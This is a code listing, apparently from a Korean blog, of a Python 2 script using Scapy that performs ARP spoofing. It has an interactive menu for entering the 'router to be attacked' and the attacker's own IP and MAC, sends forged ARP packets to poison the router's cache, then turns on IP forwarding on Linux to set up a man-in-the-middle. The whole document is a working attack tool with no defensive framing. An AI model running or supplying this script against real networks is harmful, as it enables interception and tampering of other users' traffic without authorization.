이름 : arpSpoofing
코드 주소 : https://github.com/BadSchool/ProJect/blob/master/arp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 | #-*- coding: utf-8 -*- # # import 부분 # ################################## from scapy.all import * import os import sys import time ################################## # # global 변수 지정 # ################################## global routerIP global routerMAC global myIP global myMAC def nowArp(): os.system('clear') print "LAN 상의 arp 상태" os.system('arp -a') print " " print " " print "현재 이더넷의 IP, MAC 주소" os.system('ifconfig -a') def nowSet(): global routerIP global routerMAC global myIP global myMAC os.system('clear') print "라우터 IP : ",routerIP print "라우터 MAC : ",routerMAC print "내 IP : ",myIP print "내 MAC : ",myMAC print " " print "아무키나 누르면 계속합니다..." raw_input() main() def setRouter(input): global routerIP global routerMAC os.system('clear') nowArp() if input == '2': print "공격받을 라우터의 IP를 입력해주세요" routerIP = raw_input() elif input == '3': print "공격받을 라우터의 MAC을 입력해주세요" routerMAC = raw_input() else: print "비정상적인 접근입니다" os.system('exit') main() def setMy(input): global myIP global myMAC os.system('clear') nowArp() if input == '4': print "당신의 IP를 입력해주세요" myIP = raw_input() elif input == '5': print "당신의 MAC을 입력해주세요" myMAC = raw_input() else: print "비정상적인 접근입니다" os.system('exit') main() def trySpf(): global routerIP global routerMAC global myIP global myMAC os.system('clear') tryArp = ARP() tryArp.hwsrc = myMAC #출발지 맥 주소 tryArp.psrc = myIP #출발지 IP 주소 tryArp.pdst = routerIP #목적지 IP 주소 print "arp spoofing을 시작합니다" print "조작 대상 IP : ",routerIP print "조작 되는 IP : ",myIP print "조작 되는 MAC : ",myMAC print "." send(tryArp) time.sleep(1) #오래걸리는 척 print "." send(tryArp) time.sleep(1) print "." send(tryArp) time.sleep(1) print "arp spoofing완료. IP Forwarding 설정을 위해 본PC의 운영체제를 확인합니다" print sys.platform," 감지" if sys.platform.startswith('linux'): os.system('sysctl -w net.ipv4.ip_forward=1') print "IP Fowarding 설정 완료" print "아무키나 입력하면 계속합니다..." raw_input() main() elif sys.platform.startswith('win'): print "Windows 운영체제는 직접 설정해주세요" print "아무키나 입력하면 계속합니다..." raw_input() main() else: print "운영체제가 확인되지 않습니다. 수동으로 IP Forwarding을 설정해주세요" print "아무키나 입력하면 계속합니다..." raw_input() main() def main(): global routerIP global routerMAC global myIP global myMAC os.system('clear') print "###############################" print "#" print "# arp 주작에 오신걸 환영합니다" print "#" print "# 1. 현재 arp, 이더넷 확인" print "# 2. 공격받을 라우터의 IP 지정" print "# 3. 공격받을 라우터의 MAC지정" print "# 4. 내 IP 지정" print "# 5. 내 MAC지정" print "# 6. 현재 설정된 상태 확인" print "# 7. arp spoofing 시작" print "# 0. 나가기" print "#" print "###############################" input = raw_input() if input == '0': os.system('exit') elif input == '1': nowArp() print "아무키나 누르면 계속합니다..." raw_input("") main() elif input == '2' or input == '3': setRouter(input) elif input == '4' or input == '5': setMy(input) elif input == '6': nowSet() elif input == '7': trySpf() else: main() if __name__ == "__main__": main() | cs |